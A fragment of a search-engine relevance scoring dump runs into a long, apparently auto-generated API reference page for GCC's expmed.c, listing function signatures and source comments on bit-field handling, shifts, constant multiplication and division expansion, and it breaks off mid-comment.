score(doc=3189,freq=1.0), product of:\n0.10140705 = queryWeight, product of:\n1.8755854 = boost\n3.6792014 = idf(docFreq=2967, maxDocs=43254)\n0.014695276 = queryNorm\n0.40241265 = fieldWeight in 3189, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n3.6792014 = idf(docFreq=2967, maxDocs=43254)\n0.109375 = fieldNorm(doc=3189)\n0.18247867 = weight(abstract_txt:undergraduate in 3189) [ClassicSimilarity], result of:\n0.18247867 = score(doc=3189,freq=1.0), product of:\n0.24044695 = queryWeight, product of:\n2.3581247 = boost\n6.9386463 = idf(docFreq=113, maxDocs=43254)\n0.014695276 = queryNorm\n0.7589145 = fieldWeight in 3189, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n6.9386463 = idf(docFreq=113, maxDocs=43254)\n0.109375 = fieldNorm(doc=3189)\n0.33551848 = weight(abstract_txt:instruction in 3189) [ClassicSimilarity], result of:\n0.33551848 = score(doc=3189,freq=1.0), product of:\n0.4897813 = queryWeight, product of:\n5.321429 = boost\n6.263199 = idf(docFreq=223, maxDocs=43254)\n0.014695276 = queryNorm\n0.6850374 = fieldWeight in 3189, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n6.263199 = idf(docFreq=223, maxDocs=43254)\n0.109375 = fieldNorm(doc=3189)\n0.24 = coord(6/25)\n```" ]

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[ "GCC Middle and Back End API Reference\nexpmed.c File Reference\n\n## Data Structures\n\nstruct  init_expmed_rtl\n\n## Enumerations\n\nenum  mult_variant { basic_variant, negate_variant, add_variant }\n\n## Functions\n\nstatic void store_fixed_bit_field (rtx, unsigned HOST_WIDE_INT, unsigned HOST_WIDE_INT, unsigned HOST_WIDE_INT, unsigned HOST_WIDE_INT, rtx)\nstatic void store_split_bit_field (rtx, unsigned HOST_WIDE_INT, unsigned HOST_WIDE_INT, unsigned HOST_WIDE_INT, unsigned HOST_WIDE_INT, rtx)\nstatic rtx extract_fixed_bit_field (enum machine_mode, rtx, unsigned HOST_WIDE_INT, unsigned HOST_WIDE_INT, rtx, int)\nstatic rtx mask_rtx (enum machine_mode, int, int, int)\nstatic rtx lshift_value (enum machine_mode, unsigned HOST_WIDE_INT, int)\nstatic rtx extract_split_bit_field (rtx, unsigned HOST_WIDE_INT, unsigned HOST_WIDE_INT, int)\nstatic void do_cmp_and_jump (rtx, rtx, enum rtx_code, enum machine_mode, rtx)\nstatic rtx expand_smod_pow2 (enum machine_mode, rtx, HOST_WIDE_INT)\nstatic rtx expand_sdiv_pow2 (enum machine_mode, rtx, HOST_WIDE_INT)\nstatic void init_expmed_one_conv (struct init_expmed_rtl *all, enum machine_mode to_mode, enum machine_mode from_mode, bool speed)\nstatic void init_expmed_one_mode (struct init_expmed_rtl *all, enum machine_mode mode, int speed)\nvoid init_expmed ()\nrtx negate_rtx ()\nstatic rtx narrow_bit_field_mem (rtx mem, enum machine_mode mode, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, unsigned HOST_WIDE_INT *new_bitnum)\nstatic rtx adjust_bit_field_mem_for_reg (enum extraction_pattern pattern, rtx op0, HOST_WIDE_INT bitsize, HOST_WIDE_INT bitnum, unsigned HOST_WIDE_INT bitregion_start, unsigned HOST_WIDE_INT bitregion_end, enum machine_mode fieldmode, unsigned HOST_WIDE_INT *new_bitnum)\nstatic bool lowpart_bit_field_p (unsigned HOST_WIDE_INT bitnum, unsigned HOST_WIDE_INT bitsize, enum machine_mode struct_mode)\nstatic bool simple_mem_bitfield_p (rtx op0, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, enum machine_mode mode)\nstatic bool store_bit_field_using_insv (const extraction_insn *insv, rtx op0, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, rtx value)\nstatic bool store_bit_field_1 (rtx str_rtx, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, unsigned HOST_WIDE_INT bitregion_start, unsigned HOST_WIDE_INT bitregion_end, enum machine_mode fieldmode, rtx value, bool fallback_p)\nvoid store_bit_field (rtx str_rtx, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, unsigned HOST_WIDE_INT bitregion_start, unsigned HOST_WIDE_INT bitregion_end, enum machine_mode fieldmode, rtx value)\nstatic rtx convert_extracted_bit_field (rtx x, enum machine_mode mode, enum machine_mode tmode, bool unsignedp)\nstatic rtx extract_bit_field_using_extv (const extraction_insn *extv, rtx op0, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, int unsignedp, rtx target, enum machine_mode mode, enum machine_mode tmode)\nstatic rtx extract_bit_field_1 (rtx str_rtx, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, int unsignedp, rtx target, enum machine_mode mode, enum machine_mode tmode, bool fallback_p)\nrtx extract_bit_field (rtx str_rtx, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, int unsignedp, rtx target, enum machine_mode mode, enum machine_mode tmode)\nrtx extract_low_bits ()\nvoid expand_inc ()\nvoid expand_dec ()\nstatic rtx expand_shift_1 (enum tree_code code, enum machine_mode mode, rtx shifted, rtx amount, rtx target, int unsignedp)\nrtx expand_shift (enum tree_code code, enum machine_mode mode, rtx shifted, int amount, rtx target, int unsignedp)\nrtx expand_variable_shift (enum tree_code code, enum machine_mode mode, rtx shifted, tree amount, rtx target, int unsignedp)\nstatic void synth_mult (struct algorithm *, unsigned HOST_WIDE_INT, const struct mult_cost *, enum machine_mode mode)\nstatic bool choose_mult_variant (enum machine_mode, HOST_WIDE_INT, struct algorithm *, enum mult_variant *, int)\nstatic rtx expand_mult_const (enum machine_mode, rtx, HOST_WIDE_INT, rtx, const struct algorithm *, enum mult_variant)\nstatic unsigned HOST_WIDE_INT invert_mod2n (unsigned HOST_WIDE_INT, int)\nstatic rtx extract_high_half (enum machine_mode, rtx)\nstatic rtx expmed_mult_highpart (enum machine_mode, rtx, rtx, rtx, int, int)\nstatic rtx expmed_mult_highpart_optab (enum machine_mode, rtx, rtx, rtx, int, int)\nrtx expand_mult (enum machine_mode mode, rtx op0, rtx op1, rtx target, int unsignedp)\nint mult_by_coeff_cost ()\nrtx expand_widening_mult (enum machine_mode mode, rtx op0, rtx op1, rtx target, int unsignedp, optab this_optab)\nunsigned HOST_WIDE_INT choose_multiplier (unsigned HOST_WIDE_INT d, int n, int precision, unsigned HOST_WIDE_INT *multiplier_ptr, int *post_shift_ptr, int *lgup_ptr)\nstatic unsigned HOST_WIDE_INT invert_mod2n ()\nrtx expand_mult_highpart_adjust (enum machine_mode mode, rtx adj_operand, rtx op0, rtx op1, rtx target, int unsignedp)\nstatic rtx extract_high_half ()\nstatic rtx expand_smod_pow2 ()\nstatic rtx expand_sdiv_pow2 ()\nrtx expand_divmod (int rem_flag, enum tree_code code, enum machine_mode mode, rtx op0, rtx op1, rtx target, int unsignedp)\ntree make_tree ()\nrtx expand_and ()\nstatic rtx emit_cstore (rtx target, enum insn_code icode, enum rtx_code code, enum machine_mode mode, enum machine_mode compare_mode, int unsignedp, rtx x, rtx y, int normalizep, enum machine_mode target_mode)\nstatic rtx emit_store_flag_1 (rtx target, enum rtx_code code, rtx op0, rtx op1, enum machine_mode mode, int unsignedp, int normalizep, enum machine_mode target_mode)\nrtx emit_store_flag (rtx target, enum rtx_code code, rtx op0, rtx op1, enum machine_mode mode, int unsignedp, int normalizep)\nrtx emit_store_flag_force (rtx target, enum rtx_code code, rtx op0, rtx op1, enum machine_mode mode, int unsignedp, int normalizep)\n\n## Variables\n\nstruct target_expmed default_target_expmed\nstruct target_expmedthis_target_expmed = &default_target_expmed\n\n## Enumeration Type Documentation\n\n enum mult_variant\n``` Indicates the type of fixup needed after a constant multiplication.\nBASIC_VARIANT means no fixup is needed, NEGATE_VARIANT means that\nthe result should be negated, and ADD_VARIANT means that the\nmultiplicand should be added to the result. ```\nEnumerator:\n\n## Function Documentation\n\n static rtx adjust_bit_field_mem_for_reg ( enum extraction_pattern pattern, rtx op0, HOST_WIDE_INT bitsize, HOST_WIDE_INT bitnum, unsigned HOST_WIDE_INT bitregion_start, unsigned HOST_WIDE_INT bitregion_end, enum machine_mode fieldmode, unsigned HOST_WIDE_INT * new_bitnum )\nstatic\n``` The caller wants to perform insertion or extraction PATTERN on a\nbitfield of size BITSIZE at BITNUM bits into memory operand OP0.\nBITREGION_START and BITREGION_END are as for store_bit_field\nand FIELDMODE is the natural mode of the field.\n\nSearch for a mode that is compatible with the memory access\nrestrictions and (where applicable) with a register insertion or\nextraction. Return the new memory on success, storing the adjusted\nbit position in *NEW_BITNUM. Return null otherwise. ```\n``` We can use a memory in BEST_MODE. See whether this is true for\nany wider modes. All other things being equal, we prefer to\nuse the widest mode possible because it tends to expose more\nCSE opportunities. ```\n``` Limit the search to the mode required by the corresponding\nregister insertion or extraction instruction, if any. ```\n static bool choose_mult_variant ( enum machine_mode mode, HOST_WIDE_INT val, struct algorithm * alg, enum mult_variant * variant, int mult_cost )\nstatic\n``` Find the cheapest way of multiplying a value of mode MODE by VAL.\nTry three variations:\n\n- a shift/add sequence based on VAL itself\n- a shift/add sequence based on -VAL, followed by a negation\n- a shift/add sequence based on VAL - 1, followed by an addition.\n\nReturn true if the cheapest of these cost less than MULT_COST,\ndescribing the algorithm in *ALG and final fixup in *VARIANT. ```\n` Fail quickly for impossible bounds. `\n``` Ensure that mult_cost provides a reasonable upper bound.\nAny constant multiplication can be performed with less\nthan 2 * bits additions. ```\n``` This works only if the inverted value actually fits in an\n`unsigned int' ```\n` This proves very useful for division-by-constant. `\n\nReferenced by expand_mult().\n\n unsigned HOST_WIDE_INT choose_multiplier ( unsigned HOST_WIDE_INT d, int n, int precision, unsigned HOST_WIDE_INT * multiplier_ptr, int * post_shift_ptr, int * lgup_ptr )\n``` Choose a minimal N + 1 bit approximation to 1/D that can be used to\nreplace division by D, and put the least significant N bits of the result\nin *MULTIPLIER_PTR and return the most significant bit.\n\nThe width of operations is N (should be <= HOST_BITS_PER_WIDE_INT), the\nneeded precision is in PRECISION (should be <= N).\n\nPRECISION should be as small as possible so this function can choose\nmultiplier more freely.\n\nThe rounded-up logarithm of D is placed in *lgup_ptr. A shift count that\nis to be used for a final right shift is placed in *POST_SHIFT_PTR.\n\nUsing this function, x/D will be equal to (x * m) >> (*POST_SHIFT_PTR),\nwhere m is the full HOST_BITS_PER_WIDE_INT + 1 bit multiplier. ```\n` lgup = ceil(log2(divisor)); `\n``` We could handle this with some effort, but this case is much\nbetter handled directly with a scc insn, so rely on caller using\nthat. ```\n` mlow = 2^(N + lgup)/d `\n` mhigh = (2^(N + lgup) + 2^(N + lgup - precision))/d `\n` Assert that mlow < mhigh. `\n``` If precision == N, then mlow, mhigh exceed 2^N\n(but they do not exceed 2^(N+1)). ```\n` Reduce to lowest terms. `\n static rtx convert_extracted_bit_field ( rtx x, enum machine_mode mode, enum machine_mode tmode, bool unsignedp )\nstatic\n``` A subroutine of extract_bit_field_1 that converts return value X\nto either MODE or TMODE. MODE, TMODE and UNSIGNEDP are arguments\nto extract_bit_field. ```\n``` If the x mode is not a scalar integral, first convert to the\ninteger mode of that size and then access it as a floating-point\nvalue via a SUBREG. ```\n static void do_cmp_and_jump ( rtx arg1, rtx arg2, enum rtx_code op, enum machine_mode mode, rtx label )\nstatic\n``` Perform possibly multi-word comparison and conditional jump to LABEL\nif ARG1 OP ARG2 true where ARG1 and ARG2 are of mode MODE. This is\nnow a thin wrapper around do_compare_rtx_and_jump. ```\n static rtx emit_cstore ( rtx target, enum insn_code icode, enum rtx_code code, enum machine_mode mode, enum machine_mode compare_mode, int unsignedp, rtx x, rtx y, int normalizep, enum machine_mode target_mode )\nstatic\n` Helper function for emit_store_flag. `\n``` If we are converting to a wider mode, first convert to\nTARGET_MODE, then normalize. This produces better combining\nopportunities on machines that have a SIGN_EXTRACT when we are\ntesting a single bit. This mostly benefits the 68k.\n\nIf STORE_FLAG_VALUE does not have the sign bit set when\ninterpreted in MODE, we can do this conversion as unsigned, which\nis usually more efficient. ```\n``` If we want to keep subexpressions around, don't reuse our last\ntarget. ```\n``` Now normalize to the proper value in MODE. Sometimes we don't\nhave to do anything. ```\n``` STORE_FLAG_VALUE might be the most negative number, so write\nthe comparison this way to avoid a compiler-time warning. ```\n``` We don't want to use STORE_FLAG_VALUE < 0 below since this makes\nit hard to use a value of just the sign bit due to ANSI integer\nconstant typing rules. ```\n` If we were converting to a smaller mode, do the conversion now. `\n rtx emit_store_flag ( rtx target, enum rtx_code code, rtx op0, rtx op1, enum machine_mode mode, int unsignedp, int normalizep )\n``` Emit a store-flags instruction for comparison CODE on OP0 and OP1\nand storing in TARGET. Normally return TARGET.\nReturn 0 if that cannot be done.\n\nMODE is the mode to use for OP0 and OP1 should they be CONST_INTs. If\nit is VOIDmode, they cannot both be CONST_INT.\n\nUNSIGNEDP is for the case where we have to widen the operands\nto perform the operation. It says to use zero-extension.\n\nNORMALIZEP is 1 if we should convert the result to be either zero\nor one. Normalize is -1 if we should convert the result to be\neither zero or -1. If NORMALIZEP is zero, the result will be left\n\"raw\" out of the scc insn. ```\n``` If we reached here, we can't do this with a scc insn, however there\nare some comparisons that can be done in other ways. Don't do any\nof these cases if branches are very cheap. ```\n``` See what we need to return. We can only return a 1, -1, or the\nsign bit. ```\n``` If optimizing, use different pseudo registers for each insn, instead\nof reusing the same pseudo. This leads to better CSE, but slows\ndown the compiler, since there are more pseudos ```\n``` For floating-point comparisons, try the reverse comparison or try\nchanging the \"orderedness\" of the comparison. ```\n` For the reverse comparison, use either an addition or a XOR. `\n` Cannot split ORDERED and UNORDERED, only try the above trick. `\n``` If there are no NaNs, the first comparison should always fall through.\nEffectively change the comparison to the other one. ```\n``` Try using a setcc instruction for ORDERED/UNORDERED, followed by a\nconditional move. ```\n` The remaining tricks only apply to integer comparisons. `\n``` If this is an equality comparison of integers, we can try to exclusive-or\n(or subtract) the two operands and use a recursive call to try the\ncomparison with zero. Don't do any of these cases if branches are\nvery cheap. ```\n``` For integer comparisons, try the reverse comparison. However, for\nsmall X and if we'd have anyway to extend, implementing \"X != 0\"\nas \"-(int)X >> 31\" is still cheaper than inverting \"(int)X == 0\". ```\n` Again, for the reverse comparison, use either an addition or a XOR. `\n``` Some other cases we can do are EQ, NE, LE, and GT comparisons with\nthe constant zero. Reject all other comparisons at this point. Only\ndo LE and GT if branches are expensive since they are expensive on\n2-operand machines. ```\n``` Try to put the result of the comparison in the sign bit. Assume we can't\ndo the necessary operation below. ```\n``` To see if A <= 0, compute (A | (A - 1)). A <= 0 iff that result has\nthe sign bit set. ```\n` This is destructive, so SUBTARGET can't be OP0. `\n``` To see if A > 0, compute (((signed) A) << BITS) - A, where BITS is the\nnumber of bits in the mode of OP0, minus one. ```\n``` For EQ or NE, one way to do the comparison is to apply an operation\nthat converts the operand into a positive number if it is nonzero\nor zero if it was originally zero. Then, for EQ, we subtract 1 and\nfor NE we negate. This puts the result in the sign bit. Then we\nnormalize with a shift, if needed.\n\nTwo operations that can do the above actions are ABS and FFS, so try\nthem. If that doesn't work, and MODE is smaller than a full word,\nwe can use zero-extension to the wider mode (an unsigned conversion)\nas the operation. ```\n``` Note that ABS doesn't yield a positive number for INT_MIN, but\nthat is compensated by the subsequent overflow when subtracting\none / negating. ```\n``` If we couldn't do it that way, for NE we can \"or\" the two's complement\nof the value with itself. For EQ, we take the one's complement of\nthat \"or\", which is an extra insn, so we only handle EQ if branches\nare expensive. ```\n\n static rtx emit_store_flag_1 ( rtx target, enum rtx_code code, rtx op0, rtx op1, enum machine_mode mode, int unsignedp, int normalizep, enum machine_mode target_mode )\nstatic\n``` A subroutine of emit_store_flag only including \"tricks\" that do not\nneed a recursive call. These are kept separate to avoid infinite\nloops. ```\n``` If one operand is constant, make it the second one. Only do this\nif the other operand is not constant as well. ```\n``` For some comparisons with 1 and -1, we can convert this to\ncomparisons with zero. This will often produce more opportunities for\nstore-flag insns. ```\n``` If we are comparing a double-word integer with zero or -1, we can\nconvert the comparison into one involving a single word. ```\n``` Do a logical OR or AND of the two words and compare the\nresult. ```\n` If testing the sign bit, can just test on high word. `\n``` If this is A < 0 or A >= 0, we can do this by taking the ones\ncomplement of A (for GE) and shifting the sign bit to the low bit. ```\n``` If the result is to be wider than OP0, it is best to convert it\nfirst. If it is to be narrower, it is *incorrect* to convert it\nfirst. ```\n``` If we are supposed to produce a 0/1 value, we want to do\na logical shift from the sign bit to the low-order bit; for\na -1/0 value, we do an arithmetic shift. ```\n\nReferenced by emit_cstore().\n\n rtx emit_store_flag_force ( rtx target, enum rtx_code code, rtx op0, rtx op1, enum machine_mode mode, int unsignedp, int normalizep )\n` Like emit_store_flag, but always succeeds. `\n` First see if emit_store_flag can do the job. `\n``` If this failed, we have to do this with set/compare/jump/set code.\nFor foo != 0, if foo is in OP0, just replace it with 1 if nonzero. ```\n``` Jump in the right direction if the target cannot implement CODE\nbut can jump on its reverse condition. ```\n` Canonicalize to UNORDERED for the libcall. `\n rtx expand_and ( )\n``` Compute the logical-and of OP0 and OP1, storing it in TARGET\nand returning TARGET.\n\nIf TARGET is 0, a pseudo-register or constant is returned. ```\n void expand_dec ( )\n` Subtract DEC from TARGET. `\n rtx expand_divmod ( int rem_flag, enum tree_code code, enum machine_mode mode, rtx op0, rtx op1, rtx target, int unsignedp )\n``` Emit the code to divide OP0 by OP1, putting the result in TARGET\nif that is convenient, and returning where the result is.\nYou may request either the quotient or the remainder as the result;\nspecify REM_FLAG nonzero to get the remainder.\n\nCODE is the expression code for which kind of division this is;\nit controls how rounding is done. MODE is the machine mode to use.\nUNSIGNEDP nonzero means do unsigned division. ```\n``` ??? For CEIL_MOD_EXPR, can compute incorrect remainder with ANDI\nand then correct it by or'ing in missing high bits\nif result of ANDI is nonzero.\nFor ROUND_MOD_EXPR, can use ANDI and then sign-extend the result.\nThis could optimize to a bfexts instruction.\nBut C doesn't use these operations, so their optimizations are\nleft for later. ```\n``` ??? For modulo, we don't actually need the highpart of the first product,\nthe low part will do nicely. And for small divisors, the second multiply\ncan also be a low-part only multiply or even be completely left out.\nE.g. to calculate the remainder of a division by 3 with a 32 bit\nmultiply, multiply with 0x55555556 and extract the upper two bits;\nthe result is exact for inputs up to 0x1fffffff.\nThe input range can be reduced by using cross-sum rules.\nFor odd divisors >= 3, the following table gives right shift counts\nso that if a number is shifted by an integer multiple of the given\namount, the remainder stays the same:\n2, 4, 3, 6, 10, 12, 4, 8, 18, 6, 11, 20, 18, 0, 5, 10, 12, 0, 12, 20,\n14, 12, 23, 21, 8, 0, 20, 18, 0, 0, 6, 12, 0, 22, 0, 18, 20, 30, 0, 0,\n0, 8, 0, 11, 12, 10, 36, 0, 30, 0, 0, 12, 0, 0, 0, 0, 44, 12, 24, 0,\n20, 0, 7, 14, 0, 18, 36, 0, 0, 46, 60, 0, 42, 0, 15, 24, 20, 0, 0, 33,\n0, 20, 0, 0, 18, 0, 60, 0, 0, 0, 0, 0, 40, 18, 0, 0, 12\n\nCross-sum rules for even numbers can be derived by leaving as many bits\nto the right alone as the divisor has zeros to the right.\nE.g. if x is an unsigned 32 bit number:\n(x mod 12) == (((x & 1023) + ((x >> 8) & ~3)) * 0x15555558 >> 2 * 3) >> 28```\n``` We shouldn't be called with OP1 == const1_rtx, but some of the\ncode below will malfunction if we are, so check here and handle\nthe special case if so. ```\n``` When dividing by -1, we could get an overflow.\nnegv_optab can handle overflows. ```\n``` Don't use the function value register as a target\nsince we have to read it as well as write it,\nand function-inlining gets confused by this. ```\n` Don't clobber an operand while doing a multi-step calculation. `\n``` Get the mode in which to perform this computation. Normally it will\nbe MODE, but sometimes we can't do the desired operation in MODE.\nIf so, pick a wider mode in which we can do the operation. Convert\nto that mode at the start to avoid repeated conversions.\n\nFirst see what operations we need. These depend on the expression\nwe are evaluating. (We assume that divxx3 insns exist under the\nsame conditions that modxx3 insns and that these insns don't normally\nfail. If these assumptions are not correct, we may generate less\nefficient code in some cases.)\n\nThen see if we find a mode in which we can open-code that operation\n(either a division, modulus, or shift). Finally, check for the smallest\nmode for which we can do the operation with a library call. ```\n``` We might want to refine this now that we have division-by-constant\noptimization. Since expmed_mult_highpart tries so many variants, it is\nnot straightforward to generalize this. Maybe we should make an array\nof possible modes in init_expmed? Save this for GCC 2.7. ```\n``` If we still couldn't find a mode, use MODE, but expand_binop will\nprobably die. ```\n``` It should be possible to restrict the precision to GET_MODE_BITSIZE\n(mode), and thereby get better code when OP1 is a constant. Do that\nlater. It will require going over all usages of SIZE below. ```\n``` Only deduct something for a REM if the last divide done was\nfor a different constant. Then set the constant of the last\ndivide. ```\n` Now convert to the best mode to use. `\n``` convert_modes may have placed op1 into a register, so we\nmust recompute the following. ```\n` If one of the operands is a volatile MEM, copy it into a register. `\n``` If we need the remainder or if OP1 is constant, we need to\nput OP0 in a register in case it has any queued subexpressions. ```\n` Promote floor rounding to trunc rounding for unsigned operations. `\n``` Most significant bit of divisor is set; emit an scc\ninsn. ```\n``` Find a suitable multiplier and right shift count\ninstead of multiplying with D. ```\n``` If the suggested multiplier is more than SIZE bits,\nwe can do better for even divisors, using an\ninitial right shift. ```\n``` Since d might be INT_MIN, we have to cast to\nunsigned HOST_WIDE_INT before negating to avoid\nundefined signed overflow. ```\n` n rem d = n rem -d `\n` This case is not handled correctly below. `\n``` We assume that cheap metric is true if the\noptab has an expander for this mode. ```\n``` We have computed OP0 / abs(OP1). If OP1 is negative,\nnegate the quotient. ```\n` We will come here only for signed operations. `\n``` We could just as easily deal with negative constants here,\nbut it does not seem worth the trouble for GCC 2.6. ```\n``` Try using an instruction that produces both the quotient and\nremainder, using truncation. We can easily compensate the quotient\nor remainder to get floor rounding, once we have the remainder.\nNotice that we compute also the final remainder value here,\nand return the result right away. ```\n``` This could be computed with a branch-less sequence.\nSave that for later. ```\n``` No luck with division elimination or divmod. Have to do it\nby conditionally adjusting op0 *and* the result. ```\n``` Try using an instruction that produces both the quotient and\nremainder, using truncation. We can easily compensate the\nquotient or remainder to get ceiling rounding, once we have the\nremainder. Notice that we compute also the final remainder\nvalue here, and return the result right away. ```\n``` This could be computed with a branch-less sequence.\nSave that for later. ```\n``` No luck with division elimination or divmod. Have to do it\nby conditionally adjusting op0 *and* the result. ```\n``` This is extremely similar to the code for the unsigned case\nabove. For 2.7 we should merge these variants, but for\n2.6.1 I don't want to touch the code for unsigned since that\nget used in C. The signed case will only be used by other\n``` Try using an instruction that produces both the quotient and\nremainder, using truncation. We can easily compensate the\nquotient or remainder to get ceiling rounding, once we have the\nremainder. Notice that we compute also the final remainder\nvalue here, and return the result right away. ```\n``` This could be computed with a branch-less sequence.\nSave that for later. ```\n``` No luck with division elimination or divmod. Have to do it\nby conditionally adjusting op0 *and* the result. ```\n``` Try to produce the remainder without producing the quotient.\nIf we seem to have a divmod pattern that does not require widening,\ndon't try widening here. We should really have a WIDEN argument\nto expand_twoval_binop, since what we'd really like to do here is\n1) try a mod insn in compute_mode\n2) try a divmod insn in compute_mode\n3) try a div insn in compute_mode and multiply-subtract to get\nremainder\n4) try the same things with widening allowed. ```\n``` No luck there. Can we do remainder and divide at once\nwithout a library call? ```\n``` Produce the quotient. Try a quotient insn, but not a library call.\nIf we have a divmod in this mode, use it in preference to widening\nthe div (for this test we assume it will not fail). Note that optab2\nis set to the one of the two optabs that the call below will use. ```\n``` No luck there. Try a quotient-and-remainder insn,\nkeeping the quotient alone. ```\n``` Still no luck. If we are not computing the remainder,\nuse a library call for the quotient. ```\n` No divide instruction either. Use library for remainder. `\n``` No remainder function. Try a quotient-and-remainder\nfunction, keeping the remainder. ```\n` We divided. Now finish doing X - Y * (X / Y). `\n void expand_inc ( )\n` Add INC into TARGET. `\n rtx expand_mult ( enum machine_mode mode, rtx op0, rtx op1, rtx target, int unsignedp )\n``` Perform a multiplication and return an rtx for the result.\nMODE is mode of value; OP0 and OP1 are what to multiply (rtx's);\nTARGET is a suggestion for where to store the result (an rtx).\n\nWe check specially for a constant integer as OP1.\nIf you want this check for OP0 as well, then before calling\nyou should swap the two operands if OP0 would be constant. ```\n``` For vectors, there are several simplifications that can be made if\nall elements of the vector constant are identical. ```\n``` These are the operations that are potentially turned into\na sequence of shifts and additions. ```\n``` synth_mult does an `unsigned int' multiply. As long as the mode is\nless than or equal in size to `unsigned int' this doesn't matter.\nIf the mode is larger than `unsigned int', then synth_mult works\nonly if the constant value exactly fits in an `unsigned int' without\nany truncation. This means that multiplying by negative values does\nnot work; results are off by 2^32 on a 32 bit machine. ```\n``` If we are multiplying in DImode, it may still be a win\nto try to work with shifts and adds. ```\n``` We used to test optimize here, on the grounds that it's better to\nproduce a smaller program when -O is not used. But this causes\nsuch a terrible slowdown sometimes that it seems better to always\nuse synth_mult. ```\n` Special case powers of two. `\n``` Attempt to handle multiplication of DImode values by negative\ncoefficients, by performing the multiplication by a positive\nmultiplier and then inverting the result. ```\n``` Its safe to use -coeff even for INT_MIN, as the\nresult is interpreted as an unsigned coefficient.\nExclude cost of op0 from max_cost to match the cost\ncalculation of the synth_mult. ```\n` Special case powers of two. `\n``` Exclude cost of op0 from max_cost to match the cost\ncalculation of the synth_mult. ```\n` Expand x*2.0 as x+x. `\n``` This used to use umul_optab if unsigned, but for non-widening multiply\nthere is no difference between signed and unsigned. ```\n static rtx expand_mult_const ( enum machine_mode mode, rtx op0, HOST_WIDE_INT val, rtx target, const struct algorithm * alg, enum mult_variant variant )\nstatic\n``` A subroutine of expand_mult, used for constant multiplications.\nMultiply OP0 by VAL in mode MODE, storing the result in TARGET if\nconvenient. Use the shift/add sequence described by ALG and apply\nthe final fixup specified by VARIANT. ```\n``` Avoid referencing memory over and over and invalid sharing\non SUBREGs. ```\n``` ACCUM starts out either as OP0 or as a zero, depending on\nthe first operation. ```\n` REG_EQUAL note will be attached to the following insn. `\n``` Write a REG_EQUAL note on the last insn so that we can cse\nmultiplication sequences. Note that if ACCUM is a SUBREG,\nwe've set the inner register and must properly indicate that. ```\n``` Compare only the bits of val and val_so_far that are significant\nin the result mode, to avoid sign-/zero-extension confusion. ```\n\nReferenced by expand_mult().\n\n rtx expand_mult_highpart_adjust ( enum machine_mode mode, rtx adj_operand, rtx op0, rtx op1, rtx target, int unsignedp )\n``` Emit code to adjust ADJ_OPERAND after multiplication of wrong signedness\nflavor of OP0 and OP1. ADJ_OPERAND is already the high half of the\nproduct OP0 x OP1. If UNSIGNEDP is nonzero, adjust the signed product\nto become unsigned, if UNSIGNEDP is zero, adjust the unsigned product to\nbecome signed.\n\nThe result is put in TARGET if that is convenient.\n\nMODE is the mode of operation. ```\n\nReferenced by expand_widening_mult().\n\n static rtx expand_sdiv_pow2 ( enum machine_mode, rtx , HOST_WIDE_INT )\nstatic\n static rtx expand_sdiv_pow2 ( )\nstatic\n``` Expand signed division of OP0 by a power of two D in mode MODE.\nThis routine is only called for positive values of D. ```\n``` ??? emit_conditional_move forces a stack adjustment via\ncompare_from_rtx so, if the sequence is discarded, it will\nbe lost. Do it now instead. ```\n` Construct \"temp2 = (temp2 < 0) ? temp : temp2\". `\n rtx expand_shift ( enum tree_code code, enum machine_mode mode, rtx shifted, int amount, rtx target, int unsignedp )\n``` Output a shift instruction for expression code CODE,\nwith SHIFTED being the rtx for the value to shift,\nand AMOUNT the amount to shift by.\nStore the result in the rtx TARGET, if that is convenient.\nIf UNSIGNEDP is nonzero, do a logical shift; otherwise, arithmetic.\nReturn the rtx for where the value is. ```\n\n static rtx expand_shift_1 ( enum tree_code code, enum machine_mode mode, rtx shifted, rtx amount, rtx target, int unsignedp )\nstatic\n``` Output a shift instruction for expression code CODE,\nwith SHIFTED being the rtx for the value to shift,\nand AMOUNT the rtx for the amount to shift by.\nStore the result in the rtx TARGET, if that is convenient.\nIf UNSIGNEDP is nonzero, do a logical shift; otherwise, arithmetic.\nReturn the rtx for where the value is. ```\n``` Determine whether the shift/rotate amount is a vector, or scalar. If the\nshift amount is a vector, use the vector/vector shift patterns. ```\n``` Previously detected shift-counts computed by NEGATE_EXPR\nand shifted in the other direction; but that does not work\non all machines. ```\n``` Canonicalize rotates by constant amount. If op1 is bitsize / 2,\nprefer left rotation, if op1 is from bitsize / 2 + 1 to\nbitsize - 1, use other direction of rotate with 1 .. bitsize / 2 - 1\n``` Check whether its cheaper to implement a left shift by a constant\nbit count by a sequence of additions. ```\n` Widening does not work for rotation. `\n``` If we have been unable to open-code this by a rotation,\ndo it as the IOR of two shifts. I.e., to rotate A\nby N bits, compute\n(A << N) | ((unsigned) A >> ((-N) & (C - 1)))\nwhere C is the bitsize of A.\n\nIt is theoretically possible that the target machine might\nnot be able to perform either shift and hence we would\nbe making two libcalls rather than just the one for the\nshift (similarly if IOR could not be done). We will allow\nthis extremely unlikely lossage to avoid complicating the\ncode below. ```\n``` Do arithmetic shifts.\nAlso, if we are going to widen the operand, we can just as well\nuse an arithmetic right-shift instead of a logical one. ```\n``` If trying to widen a log shift to an arithmetic shift,\ndon't accept an arithmetic shift of the same size. ```\n` Arithmetic shift `\n``` We used to try extzv here for logical right shifts, but that was\nonly useful for one machine, the VAX, and caused poor code\ngeneration there for lshrdi3, so the code was deleted and a\ndefine_expand for lshrsi3 was added to vax.md. ```\n static rtx expand_smod_pow2 ( enum machine_mode, rtx , HOST_WIDE_INT )\nstatic\n static rtx expand_smod_pow2 ( )\nstatic\n` Expand signed modulus of OP0 by a power of two D in mode MODE. `\n` Avoid conditional branches when they're expensive. `\n``` Use the rtx_cost of a LSHIFTRT instruction to determine\nwhich instruction sequence to use. If logical right shifts\nare expensive the use 2 XORs, 2 SUBs and an AND, otherwise\nuse a LSHIFTRT, 1 